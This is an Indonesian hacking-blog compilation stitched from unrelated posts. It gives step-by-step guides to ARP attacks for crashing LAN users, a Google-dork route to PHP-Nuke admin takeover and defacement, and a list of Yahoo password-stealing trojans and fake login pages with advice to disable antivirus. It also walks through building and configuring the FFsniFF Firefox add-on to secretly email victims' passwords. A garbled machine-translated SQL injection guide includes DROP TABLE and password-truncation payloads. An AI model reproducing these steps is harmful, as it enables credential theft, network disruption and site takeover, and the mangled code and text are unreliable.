Hal yang perlu saya katakan kepada anda bahwa hacking atau mendeface melalui exploit ‘siap-pakai’ yang tersedia di internet adalah tindakan merusak. Janganlah dilakukan terus menerus. Melakukan hacking suatu server hanya jika anda memang memiliki alasan kuat untuk melakukannya dan anda benar-benar mengetahui apa yang sedang anda lakukan. Jika anda melakukan hacking secara membabi-buta anda hanya akan menyebabkan berbagai kerusakan, kebencian dan tidak memahami bagaimana dunia ini bekerja.
Dan untuk admin: jika anda ingin melindungi server anda dari hacker, maka langkah terbaik adalah tetap mengupdate dengan service pack terakhir yang disediakan oleh Microsoft. Kedua, kapanpun server anda dihack atau terdeface, silakan periksa pada sistem anda, apakah telah terinstall backdoor, rootkit. Kalau ada, hapuslah. Ketiga menjaga direktori file log dari seseorang yang tidak berhak. IIS menyediakan fasilitas untuk mengubah direktori file log. Tapi dalam berbagai kasus, tetap saja pencegahan jauh lebih baik daripada penyembuhan
tools buat ngisengin temen di lan.toolsnya yaitu bernama arpwin attacker(kalo gak salah) !download dulu klik disini . nanti berisi 2 file ,file 1 bernama arp.exe,1 lagi WinPcap_4_0_1.exe!tools ini dapat mengacaukan jaringan lan , membuat crash aplikasi,dll.langkah pertama install dulu file yang bernama WinPcap_4_0_1.exe(yang satunya tadi) , setelah itu instal ARPnya.udah masuk ke aplikasinya dah. lalu klik scan untuk melihat ip yang lain (cecklist yang pengen di errorin ,server biasanya ke detect tapi jangan ip anda sendiri yang di ceklist). untuk memulai aksi klik icon arp attack pilih sendiri ngerjainnya ada flood,bangateway,ip conflict,dll.untuk mengatur waktunya klik options>attack>atur sendiri waktunya. pada bagian bawah biasanya akan diberi tahu statusnya(bukan fb).anda bisa mempelajarinya sendiri.saya bukan memberitahu kepada anda cara-cara yang buruk dan bodoh , tetapi saya hanya ingin agar anda waspada dan mempelajari cara mencegahannya bisa menghiden ip atau atur koneksi,apabila dalam lab komputer praktik anda bisa mencopot kabel utp lan.untuk toolnya anda bisa download klik disini
Buka situs www.google.com kemudian ketik => allinurl: .com / nuke / index.php atau allinurl: .org / nuke / index.php
jika target ini terpenuhi maka langkah berikutnya adalah:
1. www.target.com / nuke / index.php 2. www.target.com / nuke / admin.php => index.php sebelumnya diubah di atas ke admin.php 3. Masukkan bug di belakang situs ini sebelumnya:
saya tidak bisa berarti situs sudah di jalan sebagai admin. Tapi aku berhasil, maka url / browsing Anda akan muncul www.target.com/nuke/admin.php?op=mod_author
5. Ada Anda untuk login, masukkan sandi sebelum Anda. saya masih ingat? id = c124ck312 => lihat di atas sebelumnya password = rumahsemut => lihat di atas sebelumnya
Anda sekarang ke dalam "" situs Menu Administrasi. Berarti anda sekarang sudah mengusai situs. langkah berikutnya silahkan deface situs Anda!
ini saya dapat dari website microsoft,,dengan menerjemahkannya di mbah google.banyak orang yang belum mengenal sql injeksi bagi kalangan it,apalagi yang tidak bergelut di dunia it.di sini sayainjeksi adalah serangan kode jahat yang dimasukkan ke dalam string yang kemudian diteruskan ke sebuah contoh dari SQL Server untuk parsing dan eksekusi. Setiap prosedur bahwa pernyataan SQL konstruksi harus ditinjau ulang untuk kerentanan injeksi karena SQL Server akan menjalankan semua pertanyaan sintaktis yang valid yang diterima. Bahkan data parameter dapat dimanipulasi oleh penyerang terampil dan ditentukan.
Bentuk injeksi SQL utama terdiri dari penyisipan langsung kode ke variabel user-masukan yang concatenated dengan perintah SQL dan dieksekusi. Serangan tidak langsung menyuntikkan kode berbahaya ke dalam string yang ditakdirkan untuk penyimpanan dalam sebuah tabel atau sebagai metadata. Ketika string disimpan selanjutnya concatenated ke perintah SQL dinamis, kode jahat dijalankan.
Proses injeksi bekerja dengan prematur terminating string teks dan menambahkan perintah baru. Karena perintah dimasukkan mungkin ditambahkan string tambahan untuk itu sebelum dijalankan, penjahat yang mengakhiri string disuntik dengan tanda komentar "--". teks berikutnya akan diabaikan pada waktu eksekusi.
Naskah berikut ini menunjukkan sebuah injeksi SQL sederhana. Script membangun sebuah query SQL oleh concatenating string keras-kode bersama-sama dengan string yang dimasukkan oleh pengguna: copy saja|: var Shipcity; ShipCity = Request.form ("ShipCity"); var sql = "select * from OrdersTable where ShipCity = '" + ShipCity + "'";
SELECT * FROM WHERE OrdersTable ShipCity Redmond = ''
Namun, menganggap bahwa pengguna memasukkan hal berikut:
Redmond'; drop table OrdersTable--
Dalam hal ini, pertanyaan berikut ini dirakit oleh skrip:
SELECT * FROM WHERE OrdersTable ShipCity = '; Redmond tabel' drop OrdersTable - '
The titik koma (;) menunjukkan akhir satu permintaan dan awal lagi. Itu tanda hubung ganda (-) menunjukkan bahwa sisa baris saat ini adalah sebuah komentar dan harus diabaikan. Jika kode diubah secara sintaktis adalah benar, maka akan dijalankan oleh server. Ketika proses SQL Server pernyataan ini, SQL Server pertama akan memilih semua catatan dalam OrdersTable mana ShipCity adalah Redmond. Kemudian, akan drop SQL Server OrdersTable.
Selama kode SQL disuntikkan secara sintaktis adalah benar, gangguan tidak dapat dideteksi pemrograman. Oleh karena itu, Anda harus memvalidasi semua input pengguna dan hati-hati memeriksa kode yang menjalankan perintah SQL dibangun pada server yang Anda gunakan. Coding praktik terbaik dijelaskan pada bagian berikutnya dalam topik ini. Validasi Input Semua
Selalu memvalidasi input pengguna dengan menguji jenis, panjang, format, dan jangkauan. Ketika Anda melaksanakan tindakan pencegahan terhadap masukan berbahaya, mempertimbangkan arsitektur dan skenario penyebaran aplikasi Anda. Ingat bahwa program yang dirancang untuk berjalan di lingkungan yang aman dapat disalin ke lingkungan tidak aman. Saran-saran berikut ini harus dipertimbangkan praktek-praktek terbaik:
* Tidak membuat asumsi tentang ukuran, jenis, atau isi dari data yang diterima oleh aplikasi Anda. Misalnya, Anda harus membuat evaluasi berikut:
1. Bagaimana aplikasi Anda bersikap jika pengguna bersalah atau berbahaya memasuki MPEG 10-megabyte file mana aplikasi Anda mengharapkan kode pos? 2. Bagaimana aplikasi Anda bersikap jika pernyataan DROP TABLE tertanam di dalam kolom teks?
* Uji ukuran dan tipe data input dan menegakkan sesuai batas. Hal ini dapat membantu mencegah buffer overruns disengaja. * Uji isi variabel string dan hanya menerima nilai-nilai yang diharapkan. Tolak entri yang berisi data biner, urutan melarikan diri, dan karakter komentar. Hal ini dapat membantu mencegah injeksi script dan dapat melindungi terhadap beberapa eksploitasi buffer overrun. * Ketika Anda bekerja dengan dokumen XML, memvalidasi semua data terhadap skema-nya seperti yang dimasukkan. * Pernah membangun Transact-SQL laporan langsung dari input pengguna. * Gunakan prosedur yang tersimpan untuk memvalidasi input pengguna. * * Dalam lingkungan multitiered, semua data harus divalidasi sebelum masuk ke zona dipercaya. Data yang tidak lulus proses validasi harus ditolak dan kesalahan harus dikembalikan ke tingkat sebelumnya. * Menerapkan beberapa lapisan validasi. Anda mengambil tindakan pencegahan terhadap pengguna santai mungkin berbahaya tidak efektif terhadap penyerang ditentukan. Praktek yang lebih baik adalah memvalidasi masukan pada antarmuka pengguna dan pada semua titik berikutnya di mana ia menyeberangi batas kepercayaan. * Sebagai contoh, data validasi dalam aplikasi client-side dapat mencegah injeksi script sederhana. Namun, jika tingkat berikutnya mengasumsikan bahwa input telah divalidasi, setiap pengguna berbahaya yang bisa bypass klien dapat memiliki akses tidak terbatas terhadap sistem. * * Masukan pengguna tidak pernah menyatukan yang tidak divalidasi. Rangkaian String adalah titik utama masuk untuk injeksi script. * * Jangan menerima string berikut dalam bidang yang nama file bisa dibangun: AUX, CLOCK $, COM1 melalui COM8, CON, CONFIG $, LPT1 melalui LPT8, Nul, dan PRN.
Bila Anda dapat, menolak input yang berisi karakter berikut ini.
Input karakter
Makna dalam Transact-SQL
; =Permintaan pembatas.
' =Karakter data string pemisah.
- =Komentar pembatas.
/ * ... * / =Komentar pembatas. Teks antara / * dan * / tidak dievaluasi oleh server.
xp_
Digunakan pada awal nama prosedur yang tersimpan katalog-diperpanjang, seperti xp_cmdshell. Gunakan SQL Parameters Jenis Aman
Koleksi Parameter di SQL Server menyediakan memeriksa jenis dan validasi panjang. Jika Anda menggunakan koleksi Parameter, masukan diperlakukan sebagai nilai literal bukan sebagai kode dieksekusi. Sebuah keuntungan tambahan dari menggunakan koleksi Parameter adalah bahwa Anda dapat menerapkan jenis dan cek panjang. Nilai di luar jangkauan akan memicu pengecualian. Fragmen kode berikut menunjukkan dengan menggunakan koleksi Parameter:
Dalam contoh ini, parameter au_id @ diperlakukan sebagai nilai literal bukan sebagai kode dieksekusi. Nilai ini diperiksa jenis dan panjang. Jika nilai @ au_id tidak sesuai dengan jenis tertentu dan kendala panjang, pengecualian akan dilempar.Gunakan parameter Input dengan Stored Prosedur
Prosedur yang tersimpan dapat menerima injeksi SQL jika mereka menggunakan tanpa filter masukan. Sebagai contoh, kode berikut ini rentan:
Jika Anda menggunakan prosedur yang tersimpan, Anda harus menggunakan parameter sebagai masukan mereka.
Gunakan Koleksi Parameter dengan Dynamic SQL
Jika Anda tidak dapat menggunakan prosedur yang tersimpan, Anda masih dapat menggunakan parameter, seperti ditunjukkan dalam contoh kode berikut:
SqlDataAdapter myCommand = new SqlDataAdapter( "SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", conn); SQLParameter parm = myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11);
Parm.Value = Login.Text;
Penyaringan Input
Penyaringan masukan juga mungkin dapat membantu dalam melindungi terhadap injeksi SQL dengan menghapus karakter melarikan diri. Namun, karena banyaknya karakter yang dapat menimbulkan masalah, ini bukan pertahanan dapat diandalkan. Contoh berikut pencarian untuk pembatas string karakter.
Catatan bahwa jika Anda menggunakan klausa LIKE, karakter wildcard masih harus escape:
Salinan
s = s.Replace ("[", "[[]");
s = s.Replace ("%", "[%]");
s = s.Replace ("_", "[_]");
Meninjau Kode untuk SQL Injection
Anda harus meninjau semua kode yang panggilan Execute, EXEC, atau sp_executesql. Anda dapat menggunakan query mirip dengan berikut ini untuk membantu Anda mengidentifikasi prosedur yang berisi laporan. Ini cek query untuk 1, 2, 3, atau 4 spasi setelah kata-kata Jalankan atau EXEC.
Object_Name SELECT (id) syscomments DARI
WHERE UPPER (teks)% LIKE 'Execute (%'
OR UPPER (teks)% LIKE 'Execute (%'
OR UPPER (teks)% LIKE 'Execute (%'
OR UPPER (teks)% LIKE 'Execute (%'
OR UPPER (teks)% LIKE 'EXEC (%'
OR UPPER (teks)% LIKE 'EXEC (%'
ATAU UPPER (teks)% LIKE 'EXEC (%'
OR UPPER (teks)% LIKE 'EXEC (%'
OR UPPER (teks)% LIKE '% SP_EXECUTESQL'
Parameter pembungkus dengan QUOTENAME () dan REPLACE ()
Dalam setiap prosedur yang dipilih disimpan, pastikan bahwa semua variabel yang digunakan dalam Transact-SQL dinamis ditangani dengan benar. Data yang berasal dari parameter masukan dari prosedur yang disimpan atau dibaca dari tabel harus dibungkus QUOTENAME () atau REPLACE (). Ingatlah bahwa nilai @ variabel yang dilewatkan ke QUOTENAME () adalah sysname, dan memiliki panjang maksimum 128 karakter.
@ Variabel
Fitur pembungkus
Nama sebuah securable
QUOTENAME (@ variabel)
String ≤ 128 karakter
QUOTENAME (@ variabel,'''')
String> 128 karakter
REPLACE (@ variabel ,'''','''''')
Bila Anda menggunakan teknik ini, pernyataan SET dapat direvisi sebagai berikut:
- Sebelum:
SET @ temp = N'select * dari penulis di mana au_lname ='''
+ @ Au_lname + N''''
- Setelah:
SET @ temp = N'select * dari penulis di mana au_lname ='''
+ REPLACE (@ au_lname ,'''','''''') + N''''
Injeksi Enabled oleh Data Pemotongan
Setiap Transact-SQL dinamis yang diberikan ke variabel akan dipotong jika lebih besar dari buffer dialokasikan untuk variabel tersebut. Seorang penyerang yang mampu memaksa pemotongan pernyataan yang lewat tiba-tiba tali panjang dengan prosedur yang tersimpan dapat memanipulasi hasilnya. Misalnya, prosedur yang tersimpan yang dibuat oleh script berikut ini rentan terhadap injeksi diaktifkan oleh pemotongan.
CREATE PROSEDUR sp_MySetPassword
@ Loginname sysname,
@ Tua sysname,
@ Baru sysname
AS
- Deklarasi variabel.
- Perhatikan bahwa buffer di sini adalah hanya 200 karakter.
MENYATAKAN @ perintah varchar (200)
- Membangun dinamis Transact-SQL.
- Dalam pernyataan berikut ini, kita perlu total 154 karakter
- Untuk mengatur password 'sa'.
- 26 untuk pernyataan UPDATE, 16 untuk WHERE klausa, 4 untuk 'sa', dan 2 untuk
- Tanda kutip dikelilingi oleh QUOTENAME (@ loginname):
- 200-26 - 16-4 - 2 = 154.
- Tapi karena @ baru ini dideklarasikan sebagai sebuah sysname, variabel ini hanya dapat terus
- 128 karakter.
- Kita dapat mengatasi ini dengan melewatkan beberapa tanda kutip tunggal di @ baru.
SET @ command = 'Pengguna update set password =' + QUOTENAME (@ baru, ''''') + loginname dimana username + =' QUOTENAME (@,'''') + 'DAN password =' + QUOTENAME (@ lama ,'''')
- Jalankan perintah.
EXEC (@ command)
GO
Dengan melewati 154 karakter menjadi 128 karakter buffer, penyerang bisa mengatur sandi baru untuk sa tanpa mengetahui password lama.
sa EXEC sp_MySetPassword '', 'dummy', '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012'''''''''''''''''''''''''''''''''''''' '''''''''''''
Untuk alasan ini, Anda harus menggunakan buffer besar untuk sebuah variabel perintah atau langsung jalankan Transact-SQL dinamis dalam pernyataan Execute.
Pemotongan Ketika QUOTENAME (@ variabel,'''') dan REPLACE () Apakah Digunakan
String yang dikembalikan oleh QUOTENAME () dan REPLACE () akan diam-diam dipotong jika mereka melebihi ruang yang dialokasikan. Prosedur yang tersimpan yang dibuat dalam contoh berikut menunjukkan apa yang bisa terjadi.
CREATE PROSEDUR sp_MySetPassword
@ Loginname sysname,
@ Tua sysname,
@ Baru sysname
AS
- Deklarasi variabel.
MENYATAKAN @ login sysname
MENYATAKAN @ Newpassword sysname
MENYATAKAN @ oldpassword sysname
MENYATAKAN @ perintah varchar (2000)
- Dalam laporan berikut, data yang disimpan di variabel temp
- Akan dipotong karena ukuran penyangga @ login, @ oldpassword,
- Dan @ Newpassword hanya 128 karakter, tetapi QUOTENAME () bisa kembali
- Hingga 258 karakter.
@ SET login = QUOTENAME (@ loginname,'''')
SET @ oldpassword = QUOTENAME (@ tua,'''')
SET @ Newpassword = QUOTENAME (@ baru,'''')
- Membangun dinamis Transact-SQL.
- Jika baru @ berisi 128 karakter, maka akan Newpassword @ '123 ... n
- Di mana n adalah 127 karakter.
- Karena string dikembalikan oleh QUOTENAME () akan dipotong,
- Itu dapat dibuat agar terlihat seperti pernyataan berikut:
- UPDATE Pengguna SET password = '1234. . [127] WHERE username. = '- Hal lain di sini
SET @ command = 'Pengguna UPDATE set password =' + @ Newpassword
Anda bisa memaksa pemotongan string dengan melebihi ruang buffer yang dialokasikan bila Anda menggunakan REPLACE (). Prosedur yang tersimpan yang dibuat dalam contoh berikut menunjukkan apa yang bisa terjadi.
CREATE PROSEDUR sp_MySetPassword
@ Loginname sysname,
@ Tua sysname,
@ Baru sysname
AS
- Deklarasi variabel.
MENYATAKAN @ login sysname
MENYATAKAN @ Newpassword sysname
MENYATAKAN @ oldpassword sysname
MENYATAKAN perintah varchar @ (2000)
- Dalam laporan berikut, data akan dipotong karena
- Yang dialokasikan untuk buffer @ login, @ oldpassword dan @ Newpassword
- Dapat menyimpan hanya 128 karakter, tetapi QUOTENAME () bisa kembali
- Hingga 258 karakter.
SET @ login = REPLACE (@ loginname,'''','''''')
SET @ oldpassword = REPLACE (@ tua,'''','''''')
SET @ Newpassword = REPLACE (@ baru,'''','''''')
- Membangun dinamis Transact-SQL.
- Jika baru @ berisi 128 karakter, @ Newpassword akan '123 ... n
- Di mana n adalah 127 karakter.
- Karena string dikembalikan oleh QUOTENAME () akan dipotong, itu
- Dapat dibuat agar terlihat seperti pernyataan berikut:
- UPDATE Pengguna SET password = '1234 ... [127] WHERE username = '- hal-hal lain di sini
+ @ Login +'''password DAN =''' + @ oldpassword +'''';
- Jalankan perintah.
EXEC (@ command)
GO
Seperti QUOTENAME (), pemotongan string oleh REPLACE () dapat dihindari dengan menyatakan variabel temporer yang cukup besar untuk semua kasus. Bila memungkinkan, Anda harus menghubungi QUOTENAME () atau REPLACE () secara langsung di dalam Transact-SQL dinamis. Jika tidak, Anda dapat menghitung ukuran buffer yang dibutuhkan sebagai berikut. Untuk @ outbuffer = QUOTENAME (@ input), ukuran @ outbuffer harus 2 * (len (@ input) 1). Bila Anda menggunakan REPLACE () dan tanda kutip dua kali lipat, seperti pada contoh sebelumnya, sebuah penyangga 2 * input (len @) sudah cukup.
Perhitungan berikut mencakup semua kasus:
0, required buffer size =" onmouseover="this.style.backgroundColor='#ebeff9'" onmouseout="this.style.backgroundColor='#fff'">Sementara len (@ find_string)> 0, ukuran buffer yang dibutuhkan =
bulat (len (@ input) / len (@ find_string), 0) * len (@ new_string)
+ (Len (@ input) len% (@ find_string))
Pemotongan Ketika QUOTENAME (@ variabel, ']') Apakah Digunakan
Pemotongan dapat terjadi ketika nama SQL Server securable dilewatkan laporan yang menggunakan formulir QUOTENAME (@ variabel,']'). Contoh berikut ini menunjukkan ini.
CREATE PROSEDUR sp_MyProc
@ Schemaname sysname,
@ Tablename sysname,
AS
- Deklarasi sebuah variabel sebagai sysname. Variabel ini akan 128 karakter.
- Tapi objectname @ sebenarnya harus memungkinkan untuk 2 * 1 258 karakter.
Ketika Anda concatenating nilai sysname jenis, Anda harus menggunakan variabel sementara cukup besar untuk menampung 128 karakter maksimum per nilainya. Jika memungkinkan, QUOTENAME panggilan () secara langsung di dalam Transact-SQL dinamis. Jika tidak, Anda dapat menghitung ukuran buffer yang dibutuhkan seperti yang dijelaskan pada bagian sebelumnya.
Tool Yahoo Hacking ini berisikan kumpulan tool-tool Hacking Yahoo. Buat anda yang ingin menggunakan nya jangan kaget bila antivirus anda mendeteksi tool ini sebagai virus ataupun trojan. Karena didalam nya memang sengaja disisipkan untuk menghack si target.
Jadi matikan atau disable terlebih dahulu antivirus anda. Untuk lebih amannya gunakan Deep Freeze atau aktipkan system restore anda sebagai langkah pengamanan system komputer anda. Bila anda tidak yakin bisa mencobanya diwarnet sebagai percobaan dan bila aman baru lakukan instalasi pada komputer pribadi anda . Sesuatu yang belum pernah dicoba pasti akan mendatangkan penasaran karena keingin tahuan kita.
Yahoo Hacking Tools adalah Tools Portable dalam Kegiatan Hacking Yahoo messenger. Tool yang terdapat dalam Yahoo Hacking Tools ini adalah : 1. Emo Creator Tools untuk membuat Icon2
2. Fake Pager Adalah aplikasi Yahoo Messenger Palsu, yang berguna untuk mencuri user name dan password.
3. Magic Password Trojan yang digunakan untuk mencuri password
4. Yahoo Booter Aplikasi untuk memboot lawan chating 5. Yahoo Fake Cam Tools untuk mengecoh lawan chating dengan Cam Palsu
6. Yahoo Fake Login Halaman Login Palsu Yahoo (2008), yah buat nyuri password orang yang akan dikirim ke email
7. Yahoo Pass Stealler Trojan Builder untuk nyulik password
8. Yahoo Hack Yahoo messengger Palsu
9. Yahoo Pass Crack Crack Password Yahoo seseorang
10. Yahoo Password Recovery Untuk mengetahui Password dan user name ym seseorang
Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.
Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.
Sekilas tentang addons Firefox
Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.
Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:
install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.
Membuat paket instalasi ffsniff.xpi
Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:
File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.
Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:
1
2
3
4
5
6
7
var send_from_host = "";
var send_from = "";
var send_to = "";
var subject = "";
var smtp_host = "";
var smtp_port = "";
var enable_hide = "";
Konfigurasi smtp untuk @ilmuhacking.com
MX record ilmuhacking.com
Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.
send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).
enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.
smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.
1
2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";
Konfigurasi smtp untuk @telkom.net
Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:
1
2
3
4
5
6
7
var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";
Membuat file ffsniff.jar
Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:
Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.
ffsniff.jar list files
Membuat file ffsniff.xpi
Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:
install.rdf
chrome/ffsniff.jar
Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.
ffsniff.xpi file list
Instalasi Firefox Sniffer
Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.
instalasi firefox sniffer
Mencoba login ke yahoo
Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.
log sniffer email
Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.
Email Sniffer Log
Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
Return-path: Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
by gator669.hostgator.com with esmtp (Exim 4.69)
(envelope-from )
id 1Lcywa-0002DK-Jj
for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer
Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:
Return-Path: Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1
for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID:
Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.
FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.
Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.
Pencegahan
Bad guys already know about FFsniff since 3 years ago
